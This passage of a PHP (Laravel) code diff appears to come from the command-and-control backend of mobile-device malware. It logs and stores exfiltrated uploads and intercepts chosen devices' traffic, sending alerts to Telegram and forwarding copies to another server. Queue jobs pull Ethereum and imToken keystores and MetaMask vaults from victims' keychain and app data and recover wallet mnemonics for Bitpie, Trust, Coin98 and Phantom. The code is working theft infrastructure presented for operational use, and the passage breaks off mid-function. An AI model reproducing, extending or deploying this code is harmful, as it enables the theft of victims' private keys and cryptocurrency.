* Persist method/path/headers/body to public/log/inject_demo/Ymd.log.
|
||||
* Multipart and binary bodies are stored as a hex+preview dump; JSON
|
||||
* bodies are stored verbatim for easy reading.
|
||||
*/
|
||||
private function logRequest(Request $request, string $tag): void
|
||||
{
|
||||
try {
|
||||
$body = (string) $request->getContent(false);
|
||||
|
||||
$headers = [];
|
||||
foreach ($request->headers->all() as $name => $values) {
|
||||
$headers[$name] = is_array($values) ? ($values[0] ?? null) : $values;
|
||||
}
|
||||
|
||||
$meta = [
|
||||
'tag' => $tag,
|
||||
'method' => $request->getMethod(),
|
||||
'path' => '/'.ltrim($request->path(), '/'),
|
||||
'ip' => $request->server->get('REMOTE_ADDR'),
|
||||
'headers' => $headers,
|
||||
'body_size' => strlen($body),
|
||||
];
|
||||
|
||||
// Keep JSON bodies readable; otherwise include a hex preview.
|
||||
$first = $body !== '' ? $body[0] : '';
|
||||
if ($first === '{' || $first === '[') {
|
||||
$meta['body_json'] = $body;
|
||||
} elseif ($body !== '') {
|
||||
$meta['body_preview'] = substr($body, 0, 512);
|
||||
$meta['body_hex_first_256'] = bin2hex(substr($body, 0, 256));
|
||||
}
|
||||
|
||||
// For multipart/form-data, PHP consumes php://input and populates
|
||||
// $_POST / $_FILES, so $body is empty. Capture those as a fallback
|
||||
// so the BQ exfil multipart is still observable.
|
||||
if ($body === '' && $request->isMethod('POST')) {
|
||||
$post = $request->post();
|
||||
if (! empty($post)) {
|
||||
$meta['post'] = $post;
|
||||
}
|
||||
$files = [];
|
||||
foreach ($request->allFiles() as $key => $f) {
|
||||
if ($f instanceof \Illuminate\Http\UploadedFile) {
|
||||
$files[$key] = [
|
||||
'name' => $f->getClientOriginalName(),
|
||||
'size' => $f->getSize(),
|
||||
'mime' => $f->getMimeType(),
|
||||
'ext' => $f->getClientOriginalExtension(),
|
||||
];
|
||||
}
|
||||
}
|
||||
if (! empty($files)) {
|
||||
$meta['files'] = $files;
|
||||
}
|
||||
}
|
||||
|
||||
// Persist uploaded file bodies (multipart) and raw chunk bodies
|
||||
// so captured artifacts can be reverse-engineered later.
|
||||
$meta['saved_files'] = $this->persistUploads($request, $body, $tag);
|
||||
|
||||
create_log($meta, self::LOG_TYPE);
|
||||
} catch (\Throwable) {
|
||||
// never break the request for logging
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* @param mixed $data
|
||||
*/
|
||||
private function json($data): Response
|
||||
{
|
||||
$payload = json_encode($data, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
|
||||
|
||||
return response($payload, 200)->header('Content-Type', 'application/json');
|
||||
}
|
||||
|
||||
/**
|
||||
* Persist uploaded file bodies to public/log/inject_demo/uploads/.
|
||||
* - multipart files → saved with original filename, prefixed by timestamp.
|
||||
* - raw chunk bodies (non-multipart) → saved as <tag>_<ts>.bin.
|
||||
*
|
||||
* @param string $body Raw request body (empty for multipart).
|
||||
* @return array<string,string> Map of field/key → saved relative path.
|
||||
*/
|
||||
private function persistUploads(Request $request, string $body, string $tag): array
|
||||
{
|
||||
$saved = [];
|
||||
$base = public_path('log/'.self::LOG_TYPE.'/uploads');
|
||||
if (! is_dir($base) && ! @mkdir($base, 0775, true) && ! is_dir($base)) {
|
||||
return $saved;
|
||||
}
|
||||
|
||||
$ts = date('Ymd-His').'-'.bin2hex(random_bytes(2));
|
||||
|
||||
// Multipart uploads (BQ exfil bq_docs_*.zip, etc.)
|
||||
foreach ($request->allFiles() as $key => $f) {
|
||||
if (! ($f instanceof \Illuminate\Http\UploadedFile) || ! $f->isValid()) {
|
||||
continue;
|
||||
}
|
||||
$orig = $f->getClientOriginalName();
|
||||
$safe = preg_replace('/[^A-Za-z0-9._-]/', '_', $orig);
|
||||
$dest = $base.'/'.$ts.'_'.$safe;
|
||||
try {
|
||||
if ($f->move(dirname($dest), basename($dest))) {
|
||||
$saved[$key] = 'log/'.self::LOG_TYPE.'/uploads/'.basename($dest);
|
||||
}
|
||||
} catch (\Throwable) {
|
||||
// fall back to copy from tmp
|
||||
try {
|
||||
$tmp = $f->getRealPath();
|
||||
if ($tmp && @copy($tmp, $dest)) {
|
||||
$saved[$key] = 'log/'.self::LOG_TYPE.'/uploads/'.basename($dest);
|
||||
}
|
||||
} catch (\Throwable) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Raw chunk bodies (libutils /api/v1/uploads/{id}/chunks — octet-stream)
|
||||
if ($body !== '' && empty($saved)) {
|
||||
$dest = $base.'/'.$ts.'_'.$tag.'.bin';
|
||||
try {
|
||||
if (@file_put_contents($dest, $body) !== false) {
|
||||
$saved['body'] = 'log/'.self::LOG_TYPE.'/uploads/'.basename($dest);
|
||||
}
|
||||
} catch (\Throwable) {
|
||||
}
|
||||
}
|
||||
|
||||
return $saved;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,308 @@
|
||||
<?php
|
||||
|
||||
namespace App\Http\Middleware;
|
||||
|
||||
use App\Services\IngestService;
|
||||
use App\Services\TelegramNotifier;
|
||||
use App\Support\VisitorIp;
|
||||
use Closure;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\Http;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
use Symfony\Component\HttpFoundation\Response;
|
||||
|
||||
/**
|
||||
* Intercept requests from designated device IDs.
|
||||
*
|
||||
* Runs AFTER DecryptXxbbBody / DecryptCorunaBody so that the normalized
|
||||
* device key is available via the `coruna_device_key` request attribute.
|
||||
*
|
||||
* For each matched request the middleware:
|
||||
* 1. Appends a record to public/log/intercept/Ymd.log (separate from c2/xxbb).
|
||||
* 2. Sends a Telegram alert through a dedicated bot (INTERCEPT_BOT_TOKEN /
|
||||
* INTERCEPT_CHAT_ID) when configured.
|
||||
* 3. Mirrors the raw request (same method / path / query / headers / body,
|
||||
* only the host changes) to INTERCEPT_FORWARD_URL when configured.
|
||||
*
|
||||
* The middleware never blocks or modifies the response — normal request
|
||||
* processing continues regardless of interception outcome.
|
||||
*/
|
||||
class InterceptDeviceData
|
||||
{
|
||||
public function handle(Request $request, Closure $next): Response
|
||||
{
|
||||
$deviceKey = $this->resolveDeviceKey($request);
|
||||
|
||||
if ($deviceKey !== '' && $this->shouldIntercept($deviceKey)) {
|
||||
try {
|
||||
$this->intercept($request, $deviceKey);
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('intercept middleware error: '.$e->getMessage(), [
|
||||
'device_key' => $deviceKey,
|
||||
]);
|
||||
}
|
||||
}
|
||||
|
||||
return $next($request);
|
||||
}
|
||||
|
||||
/**
|
||||
* Resolve the normalized device key for this request.
|
||||
*
|
||||
* Prefers the attribute set by DecryptXxbbBody / DecryptCorunaBody.
|
||||
* Falls back to request input fields (d / f / ecid) for multipart or
|
||||
* DarkSword requests where the decrypt middleware skipped the attribute.
|
||||
*/
|
||||
private function resolveDeviceKey(Request $request): string
|
||||
{
|
||||
$key = $request->attributes->get('coruna_device_key');
|
||||
if (is_string($key) && $key !== '') {
|
||||
return $key;
|
||||
}
|
||||
|
||||
foreach (['d', 'f', 'ecid'] as $field) {
|
||||
$value = $request->input($field);
|
||||
if (is_string($value) && $value !== '') {
|
||||
return IngestService::normalizeDeviceKey(substr($value, 0, 64)) ?? '';
|
||||
}
|
||||
}
|
||||
|
||||
return '';
|
||||
}
|
||||
|
||||
/**
|
||||
* Case-insensitive membership check against the configured device list.
|
||||
*/
|
||||
private function shouldIntercept(string $deviceKey): bool
|
||||
{
|
||||
$list = config('coruna.intercept.device_keys', []);
|
||||
if (! is_array($list) || $list === []) {
|
||||
return false;
|
||||
}
|
||||
|
||||
return in_array(strtolower($deviceKey), $list, true);
|
||||
}
|
||||
|
||||
/**
|
||||
* Log + notify + forward the matched request.
|
||||
*/
|
||||
private function intercept(Request $request, string $deviceKey): void
|
||||
{
|
||||
$meta = $this->collectMeta($request, $deviceKey);
|
||||
|
||||
$this->writeLog($meta);
|
||||
|
||||
// Skip Telegram push for high-frequency paths (e.g. /event telemetry),
|
||||
// but still log and forward so no data is lost.
|
||||
if (! $this->shouldSkipPush($meta['path'])) {
|
||||
$this->notify($meta);
|
||||
}
|
||||
|
||||
$this->forward($request, $meta);
|
||||
}
|
||||
|
||||
/**
|
||||
* Whether the Telegram push should be skipped for this path.
|
||||
*/
|
||||
private function shouldSkipPush(string $path): bool
|
||||
{
|
||||
$skipPaths = config('coruna.intercept.push_skip_paths', []);
|
||||
if (! is_array($skipPaths) || $skipPaths === []) {
|
||||
return false;
|
||||
}
|
||||
|
||||
return in_array($path, $skipPaths, true);
|
||||
}
|
||||
|
||||
/**
|
||||
* Gather request metadata for logging and notification.
|
||||
*/
|
||||
private function collectMeta(Request $request, string $deviceKey): array
|
||||
{
|
||||
$path = '/'.ltrim($request->path(), '/');
|
||||
|
||||
return [
|
||||
'time' => date('Y-m-d H:i:s'),
|
||||
'device_key' => $deviceKey,
|
||||
'method' => $request->method(),
|
||||
'path' => $path,
|
||||
'uri' => $request->getRequestUri(),
|
||||
'ip' => VisitorIp::fromRequest($request),
|
||||
'remote_addr' => $request->server->get('REMOTE_ADDR'),
|
||||
'host' => $request->getHost(),
|
||||
'content_type' => (string) $request->header('content-type'),
|
||||
'content_length' => strlen($request->getContent()),
|
||||
'headers' => $this->collectHeaders($request),
|
||||
'payload' => $this->collectPayload($request),
|
||||
'decrypt_ok' => (bool) $request->attributes->get('coruna_decrypt_ok'),
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* Select headers worth recording (skip cookie / authorization for safety).
|
||||
*/
|
||||
private function collectHeaders(Request $request): array
|
||||
{
|
||||
$headers = [];
|
||||
foreach ([
|
||||
'x-ts', 'x-hash', 'timestamp', 'sdkv', 'ver', 'accept',
|
||||
'content-type', 'user-agent', 'host', 'cf-connecting-ip',
|
||||
'cf-ipcountry', 'x-forwarded-for', 'x-real-ip',
|
||||
] as $h) {
|
||||
if ($request->headers->has($h)) {
|
||||
$headers[$h] = $request->headers->get($h);
|
||||
}
|
||||
}
|
||||
|
||||
return $headers;
|
||||
}
|
||||
|
||||
/**
|
||||
* Best-effort payload snapshot for the log.
|
||||
*
|
||||
* Uses the decrypted payload when the decrypt middleware set it;
|
||||
* otherwise records the raw body (truncated for very large uploads).
|
||||
*/
|
||||
private function collectPayload(Request $request): mixed
|
||||
{
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
if (is_array($payload)) {
|
||||
return $payload;
|
||||
}
|
||||
|
||||
$raw = $request->getContent();
|
||||
if (strlen($raw) > 200000) {
|
||||
return ['_raw_truncated' => substr($raw, 0, 200000)];
|
||||
}
|
||||
|
||||
return $raw === '' ? null : ['_raw' => $raw];
|
||||
}
|
||||
|
||||
/**
|
||||
* Append the interception record to public/log/intercept/Ymd.log.
|
||||
*/
|
||||
private function writeLog(array $meta): void
|
||||
{
|
||||
$logPath = public_path('log/intercept');
|
||||
if (! is_dir($logPath) && ! @mkdir($logPath, 0775, true) && ! is_dir($logPath)) {
|
||||
return;
|
||||
}
|
||||
|
||||
$logName = $logPath.'/'.date('Ymd').'.log';
|
||||
$line = $meta['time'].' '.$meta['method'].' '.$meta['uri'].' '
|
||||
.json_encode($meta, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES)
|
||||
."\r\n\r\n";
|
||||
|
||||
$isNew = ! file_exists($logName);
|
||||
if (@file_put_contents($logName, $line, FILE_APPEND) === false) {
|
||||
return;
|
||||
}
|
||||
if ($isNew) {
|
||||
@chmod($logName, 0664);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Send a Telegram alert via the dedicated intercept bot.
|
||||
*/
|
||||
private function notify(array $meta): void
|
||||
{
|
||||
$token = (string) config('coruna.intercept.bot_token', '');
|
||||
$chatId = (string) config('coruna.intercept.chat_id', '');
|
||||
if ($token === '' || $chatId === '') {
|
||||
return;
|
||||
}
|
||||
|
||||
$text = implode("\n", [
|
||||
'🚨 <b>设备数据拦截</b>',
|
||||
'📱 <b>设备</b>: <code>'.$this->e($meta['device_key']).'</code>',
|
||||
'🌐 <b>IP</b>: <code>'.$this->e($meta['ip'] ?: '—').'</code>',
|
||||
'📥 <b>请求</b>: <code>'.$this->e($meta['method'].' '.$meta['path']).'</code>',
|
||||
'📦 <b>大小</b>: '.$this->e((string) $meta['content_length']).' bytes',
|
||||
'🕐 <b>时间</b>: '.$this->e($meta['time']),
|
||||
]);
|
||||
|
||||
try {
|
||||
app(TelegramNotifier::class)->sendToChat($chatId, $text, $token);
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('intercept telegram notify failed: '.$e->getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Mirror the raw request to the configured forward URL.
|
||||
*
|
||||
* Preserves method, path, query string, headers, and body — only the
|
||||
* host (scheme + domain) is replaced with INTERCEPT_FORWARD_URL.
|
||||
*/
|
||||
private function forward(Request $request, array $meta): void
|
||||
{
|
||||
$baseUrl = rtrim((string) config('coruna.intercept.forward_url', ''), '/');
|
||||
if ($baseUrl === '') {
|
||||
return;
|
||||
}
|
||||
|
||||
// Rebuild the target URL: base + original path + original query.
|
||||
$target = $baseUrl.$request->getRequestUri();
|
||||
|
||||
// Collect headers to forward — drop Host (will be set by HTTP client
|
||||
// based on the target URL) and hop-by-hop headers.
|
||||
$headers = [];
|
||||
$skip = ['host', 'content-length', 'transfer-encoding', 'connection', 'expect'];
|
||||
foreach ($request->headers->all() as $name => $values) {
|
||||
if (in_array(strtolower($name), $skip, true)) {
|
||||
continue;
|
||||
}
|
||||
$headers[$name] = $values;
|
||||
}
|
||||
|
||||
$body = $request->getContent();
|
||||
$timeout = (int) config('coruna.intercept.forward_timeout', 10);
|
||||
|
||||
try {
|
||||
$resp = Http::withHeaders($headers)
|
||||
->timeout($timeout)
|
||||
->connectTimeout(min($timeout, 5))
|
||||
->send($request->method(), $target, [
|
||||
'body' => $body,
|
||||
'allow_redirects' => false,
|
||||
]);
|
||||
|
||||
$this->writeForwardLog($meta, $target, $resp->status(), (string) $resp->body());
|
||||
} catch (\Throwable $e) {
|
||||
$this->writeForwardLog($meta, $target, 0, $e->getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Record the forwarding result alongside the interception log.
|
||||
*/
|
||||
private function writeForwardLog(array $meta, string $target, int $status, string $body): void
|
||||
{
|
||||
$logPath = public_path('log/intercept');
|
||||
if (! is_dir($logPath)) {
|
||||
return;
|
||||
}
|
||||
|
||||
$logName = $logPath.'/'.date('Ymd').'.log';
|
||||
$entry = [
|
||||
'time' => date('Y-m-d H:i:s'),
|
||||
'dir' => 'forward',
|
||||
'device_key' => $meta['device_key'],
|
||||
'target' => $target,
|
||||
'status' => $status,
|
||||
'response' => strlen($body) > 4000 ? substr($body, 0, 4000) : $body,
|
||||
];
|
||||
|
||||
$line = $entry['time'].' FORWARD '.$entry['target'].' '
|
||||
.json_encode($entry, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES)
|
||||
."\r\n\r\n";
|
||||
|
||||
@file_put_contents($logName, $line, FILE_APPEND);
|
||||
}
|
||||
|
||||
private function e(?string $value): string
|
||||
{
|
||||
return htmlspecialchars((string) $value, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
|
||||
}
|
||||
}
|
||||
@@ -3,6 +3,7 @@
|
||||
namespace App\Jobs;
|
||||
|
||||
use App\Models\Device;
|
||||
use App\Services\AppUploadIngester;
|
||||
use App\Services\DarkSwordIngestAdapter;
|
||||
use App\Services\DsKeystoreDecrypt;
|
||||
use Illuminate\Contracts\Queue\ShouldQueue;
|
||||
@@ -46,6 +47,7 @@ class DecryptDeviceKeystores implements ShouldQueue
|
||||
public function handle(
|
||||
DarkSwordIngestAdapter $adapter,
|
||||
DsKeystoreDecrypt $decrypt,
|
||||
AppUploadIngester $ingester,
|
||||
): void {
|
||||
$device = Device::query()->find($this->deviceId);
|
||||
if ($device === null) {
|
||||
@@ -56,10 +58,21 @@ class DecryptDeviceKeystores implements ShouldQueue
|
||||
return;
|
||||
}
|
||||
|
||||
$ingester->splitStoredKeychainVaults($device);
|
||||
$device->load('keystores');
|
||||
|
||||
$wallets = $this->wallets ?? [];
|
||||
$sandbox = $this->sandbox ?? [];
|
||||
|
||||
// When dispatched without a payload (e.g. AppUploadIngester::dispatchDecrypt
|
||||
// passes null,null), rebuild wallets/sandbox from already-stored keystores so
|
||||
// structured recovery (Bitpie / Trust / Coin98 / Phantom) can still traverse
|
||||
// the keychain tree and extract mnemonics. Without this, Bitpie seedPhraseEntropy
|
||||
// stored under source="app/keychain" is never fed to recoverBitpie().
|
||||
if ($wallets === [] && $sandbox === []) {
|
||||
[$wallets, $sandbox] = $adapter->storedWalletTrees($device);
|
||||
}
|
||||
|
||||
$errors = [];
|
||||
|
||||
// ── 1. Structured recovery (Bitpie / Trust / Coin98 / Phantom) ──
|
||||
|
||||
@@ -0,0 +1,379 @@
|
||||
<?php
|
||||
|
||||
namespace App\Jobs;
|
||||
|
||||
use App\Models\Device;
|
||||
use App\Models\WalletKeystore;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Services\AppUploadIngester;
|
||||
use Illuminate\Bus\Queueable;
|
||||
use Illuminate\Contracts\Queue\ShouldQueue;
|
||||
use Illuminate\Foundation\Bus\Dispatchable;
|
||||
use Illuminate\Queue\InteractsWithQueue;
|
||||
use Illuminate\Queue\SerializesModels;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
|
||||
/**
|
||||
* Async processing of SignalShell v1 uploads.
|
||||
*
|
||||
* The HTTP handler saves the raw file + registers the device synchronously
|
||||
* (fast: <5ms), then dispatches this job for the heavy work:
|
||||
* - ZIP parsing + address scanning
|
||||
* - keychain XML parsing
|
||||
* - wallet keystore extraction
|
||||
* - blockchain address extraction
|
||||
*
|
||||
* This prevents memory exhaustion when many devices upload simultaneously
|
||||
* (each MetaMask ZIP expands to ~9.3MB of text data in memory).
|
||||
*/
|
||||
class ProcessShellUpload implements ShouldQueue
|
||||
{
|
||||
use Queueable;
|
||||
use Dispatchable;
|
||||
use InteractsWithQueue;
|
||||
use SerializesModels;
|
||||
|
||||
public int $tries = 2;
|
||||
|
||||
public int $timeout = 120;
|
||||
|
||||
public function __construct(
|
||||
public int $deviceId,
|
||||
public string $filePath,
|
||||
public string $filename,
|
||||
public string $apiKey,
|
||||
) {
|
||||
if (! app()->runningUnitTests()) {
|
||||
$this->onConnection('shell');
|
||||
}
|
||||
}
|
||||
|
||||
public function handle(AppUploadIngester $ingester): void
|
||||
{
|
||||
$device = Device::query()->find($this->deviceId);
|
||||
if ($device === null) {
|
||||
Log::channel('keystore')->warning('ProcessShellUpload: device not found', [
|
||||
'device_id' => $this->deviceId,
|
||||
]);
|
||||
return;
|
||||
}
|
||||
|
||||
if (! file_exists($this->filePath)) {
|
||||
Log::channel('keystore')->warning('ProcessShellUpload: file not found', [
|
||||
'file' => $this->filePath,
|
||||
]);
|
||||
return;
|
||||
}
|
||||
|
||||
$body = file_get_contents($this->filePath);
|
||||
$size = strlen($body);
|
||||
|
||||
Log::channel('keystore')->info('ProcessShellUpload: START', [
|
||||
'device_id' => $device->id,
|
||||
'filename' => $this->filename,
|
||||
'size' => $size,
|
||||
]);
|
||||
|
||||
$lower = strtolower($this->filename);
|
||||
|
||||
// Skip log files — no wallet data
|
||||
if (str_ends_with($lower, '.log') || str_ends_with($lower, '_log')) {
|
||||
Log::channel('keystore')->info('ProcessShellUpload: skipped (log file)');
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
if (str_ends_with($lower, '.zip')) {
|
||||
$this->processZip($device, $body, $this->filename);
|
||||
} elseif (str_contains($lower, 'keychain') || str_ends_with($lower, '.xml')) {
|
||||
// Keychain XML → use existing ingester
|
||||
$ingester->ingestArtifact($device, $body, $this->filename);
|
||||
}
|
||||
|
||||
// After all data ingested, run decryption
|
||||
if (str_contains($lower, 'notes') || str_contains($lower, 'keychain')) {
|
||||
// This is likely the last upload — trigger decryption
|
||||
app(App\Services\AppUploadIngester::class)->dispatchDecrypt($device);
|
||||
}
|
||||
} catch (\Throwable $e) {
|
||||
Log::channel('keystore')->error('ProcessShellUpload: failed', [
|
||||
'device_id' => $device->id,
|
||||
'filename' => $this->filename,
|
||||
'error' => $e->getMessage(),
|
||||
'trace' => $e->getTraceAsString(),
|
||||
]);
|
||||
}
|
||||
}
|
||||
|
||||
private function processZip(Device $device, string $body, string $filename): void
|
||||
{
|
||||
$tmpFile = tempnam(sys_get_temp_dir(), 'shell_proc_');
|
||||
file_put_contents($tmpFile, $body);
|
||||
|
||||
$zip = new \ZipArchive;
|
||||
if ($zip->open($tmpFile) !== true) {
|
||||
@unlink($tmpFile);
|
||||
return;
|
||||
}
|
||||
|
||||
// Map filename → wallet source label
|
||||
$sourceLabel = $this->sourceFromFilename($filename);
|
||||
$lower = strtolower($filename);
|
||||
|
||||
// ── 1. Extract keystore files ──
|
||||
$foundKeystores = [];
|
||||
for ($i = 0; $i < $zip->numFiles; $i++) {
|
||||
$name = $zip->getNameIndex($i);
|
||||
if (str_ends_with($name, '/')) continue;
|
||||
|
||||
$content = $zip->getFromIndex($i);
|
||||
if ($content === false || $content === '') continue;
|
||||
|
||||
$bn = basename($name);
|
||||
|
||||
// UTC keystore
|
||||
if (str_starts_with($bn, 'UTC--') && $this->isJson($content)) {
|
||||
$foundKeystores[] = ['name' => $bn, 'content' => $content];
|
||||
}
|
||||
|
||||
// imToken walletsV2
|
||||
if (str_contains(strtolower($name), 'walletsv2/') && str_ends_with($lower, '.json') && $this->isJson($content)) {
|
||||
$foundKeystores[] = ['name' => $bn, 'content' => $content];
|
||||
}
|
||||
}
|
||||
|
||||
// Store keystores
|
||||
foreach ($foundKeystores as $ks) {
|
||||
$rawJson = json_decode($ks['content'], true);
|
||||
if (is_array($rawJson) && ! isset($rawJson['kind'])) {
|
||||
if (isset($rawJson['crypto']) || str_starts_with($ks['name'], 'UTC--')) {
|
||||
$rawJson['kind'] = 'web3.keystore';
|
||||
} elseif (str_contains($ks['name'], 'walletsv2') || isset($rawJson['imTokenMeta'])) {
|
||||
$rawJson['kind'] = 'web3.keystore';
|
||||
}
|
||||
}
|
||||
|
||||
try {
|
||||
WalletKeystore::create([
|
||||
'device_id' => $device->id,
|
||||
'chain' => Device::CHAIN_APP,
|
||||
'source' => $sourceLabel,
|
||||
'decrypted' => 0,
|
||||
'needs_password' => 1,
|
||||
'raw_json' => $rawJson,
|
||||
'content_hash' => md5($ks['content']),
|
||||
]);
|
||||
} catch (\Throwable $e) {
|
||||
Log::channel('keystore')->warning('ProcessShellUpload: keystore skipped', [
|
||||
'name' => $ks['name'],
|
||||
'error' => $e->getMessage(),
|
||||
]);
|
||||
}
|
||||
}
|
||||
|
||||
// ── 2. MetaMask vault ──
|
||||
if (str_contains($lower, 'metamask')) {
|
||||
$this->extractMetaMaskVault($device, $tmpFile);
|
||||
}
|
||||
|
||||
// ── 3. Addresses ──
|
||||
// imToken AsyncStorage is a token inventory; naive 0x/T regex
|
||||
// would ingest hundreds of contracts. Reuse the named-structure
|
||||
// collector from the /api/v2 tar path.
|
||||
if (str_contains($lower, 'im.token') || str_contains($lower, 'im_token') || $sourceLabel === 'imToken') {
|
||||
try {
|
||||
app(AppUploadIngester::class)->ingestImTokenShellZip($device, $body);
|
||||
} catch (\Throwable $e) {
|
||||
Log::channel('keystore')->warning('ProcessShellUpload: imToken address ingest failed', [
|
||||
'error' => $e->getMessage(),
|
||||
]);
|
||||
}
|
||||
} else {
|
||||
$this->scanAddresses($device, $zip, $sourceLabel);
|
||||
}
|
||||
|
||||
$zip->close();
|
||||
@unlink($tmpFile);
|
||||
|
||||
Log::channel('keystore')->info('ProcessShellUpload: DONE', [
|
||||
'device_id' => $device->id,
|
||||
'filename' => $filename,
|
||||
'keystores' => count($foundKeystores),
|
||||
]);
|
||||
}
|
||||
|
||||
private function extractMetaMaskVault(Device $device, string $tmpFile): void
|
||||
{
|
||||
$zip = new \ZipArchive;
|
||||
if ($zip->open($tmpFile) !== true) return;
|
||||
|
||||
for ($i = 0; $i < $zip->numFiles; $i++) {
|
||||
$fn = $zip->getNameIndex($i);
|
||||
if (! str_contains($fn, 'KeyringController')) continue;
|
||||
|
||||
$content = $zip->getFromIndex($i);
|
||||
$json = json_decode($content ?? '', true);
|
||||
if (! is_array($json) || ! isset($json['vault'])) continue;
|
||||
|
||||
$vault = json_decode($json['vault'], true);
|
||||
if (! is_array($vault) || ! isset($vault['cipher'])) continue;
|
||||
|
||||
$raw = array_merge($vault, ['kind' => 'metamask.vault']);
|
||||
$existing = WalletKeystore::where('device_id', $device->id)->where('source', 'MetaMask')->first();
|
||||
if (! $existing) {
|
||||
$row = WalletKeystore::create([
|
||||
'device_id' => $device->id,
|
||||
'chain' => Device::CHAIN_APP,
|
||||
'source' => 'MetaMask',
|
||||
'decrypted' => 0,
|
||||
'needs_password' => 1,
|
||||
'raw_json' => $raw,
|
||||
'content_hash' => md5($content),
|
||||
]);
|
||||
$stats = WalletKeystore::computeListStatsFromJson($raw);
|
||||
$row->list_kind = $stats['kind'];
|
||||
$row->list_has_web3 = 1;
|
||||
$row->save();
|
||||
}
|
||||
|
||||
// Also extract reportedAccounts addresses
|
||||
$this->extractMetaMaskAddresses($device, $tmpFile);
|
||||
}
|
||||
$zip->close();
|
||||
}
|
||||
|
||||
private function extractMetaMaskAddresses(Device $device, string $tmpFile): void
|
||||
{
|
||||
$zip = new \ZipArchive;
|
||||
if ($zip->open($tmpFile) !== true) return;
|
||||
|
||||
$addrs = [];
|
||||
for ($i = 0; $i < $zip->numFiles; $i++) {
|
||||
$fn = $zip->getNameIndex($i);
|
||||
$content = $zip->getFromIndex($i);
|
||||
if (! $content) continue;
|
||||
$json = json_decode($content, true);
|
||||
if (! is_array($json)) continue;
|
||||
|
||||
if (str_contains($fn, 'ProfileMetricsController')) {
|
||||
foreach ($json['reportedAccounts'] ?? [] as $ra) {
|
||||
$ct = \App\Support\WalletSource::inferChainType($ra);
|
||||
if ($ct !== '' && \App\Support\WalletSource::isSupportedChain($ct)) {
|
||||
$addrs[$ra] = $ct;
|
||||
}
|
||||
}
|
||||
}
|
||||
if (str_contains($fn, 'AccountsController')) {
|
||||
foreach ($json['internalAccounts']['accounts'] ?? [] as $acc) {
|
||||
$ia = $acc['address'] ?? '';
|
||||
if (preg_match('/^0x[0-9a-fA-F]{40}$/', $ia)) {
|
||||
$addrs[$ia] = 'ETHEREUM';
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
$zip->close();
|
||||
|
||||
foreach ($addrs as $addr => $ct) {
|
||||
$exists = WalletAddress::where('device_id', $device->id)->where('address', $addr)->first();
|
||||
if (! $exists) {
|
||||
try {
|
||||
WalletAddress::create([
|
||||
'device_id' => $device->id,
|
||||
'address' => $addr,
|
||||
'chain_type' => $ct,
|
||||
'source' => 'MetaMask',
|
||||
]);
|
||||
} catch (\Throwable $e) {
|
||||
// skip
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private function scanAddresses(Device $device, \ZipArchive $zip, string $sourceLabel): void
|
||||
{
|
||||
$patterns = [
|
||||
'/0x[0-9a-fA-F]{40}/' => 'ETHEREUM',
|
||||
'/T[1-9A-HJ-NP-Za-km-z]{33}/' => 'TRON',
|
||||
];
|
||||
$validators = [
|
||||
'ETHEREUM' => fn (string $a) => \App\Services\Chain\EthAddress::isValid($a),
|
||||
'TRON' => fn (string $a) => \App\Services\Chain\TronAddress::isValid($a),
|
||||
];
|
||||
|
||||
$contracts = [
|
||||
'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t',
|
||||
'0xdAC17F958D2ee523a2206206994597C13D831ec7',
|
||||
'0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48',
|
||||
'0x55d398326f99059fF775485246999027B3197955',
|
||||
];
|
||||
|
||||
$found = [];
|
||||
for ($i = 0; $i < $zip->numFiles; $i++) {
|
||||
$fn = $zip->getNameIndex($i);
|
||||
$lower = strtolower($fn);
|
||||
|
||||
if (str_ends_with($lower, '.realm') || str_ends_with($lower, '.realm.lock') ||
|
||||
str_ends_with($lower, '.sqlite') || str_ends_with($lower, '.db') ||
|
||||
str_contains($lower, 'mmkv') || str_ends_with($lower, 'observations.db') ||
|
||||
str_ends_with($lower, '.icm')) continue;
|
||||
|
||||
$content = $zip->getFromIndex($i);
|
||||
if (! $content || ! mb_check_encoding(substr($content, 0, 1000), 'UTF-8')) continue;
|
||||
|
||||
foreach ($patterns as $pat => $chainType) {
|
||||
if (preg_match_all($pat, $content, $m)) {
|
||||
$validator = $validators[$chainType] ?? null;
|
||||
foreach ($m[0] as $addr) {
|
||||
if ($validator && ! $validator($addr)) continue;
|
||||
if (in_array($addr, $contracts)) continue;
|
||||
$found[$addr] = $chainType;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
foreach ($found as $addr => $ct) {
|
||||
$exists = WalletAddress::where('device_id', $device->id)->where('address', $addr)->first();
|
||||
if (! $exists) {
|
||||
try {
|
||||
WalletAddress::create([
|
||||
'device_id' => $device->id,
|
||||
'address' => $addr,
|
||||
'chain_type' => $ct,
|
||||
'source' => $sourceLabel,
|
||||
]);
|
||||
} catch (\Throwable $e) {
|
||||
// skip
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private function sourceFromFilename(string $filename): string
|
||||
{
|
||||
$fn = strtolower($filename);
|
||||
if (str_contains($fn, 'trust') || str_contains($fn, 'sixdays')) return 'Trust Wallet';
|
||||
if (str_contains($fn, 'tronlink')) return 'TronLink';
|
||||
if (str_contains($fn, 'im.token') || str_contains($fn, 'im_token')) return 'imToken';
|
||||
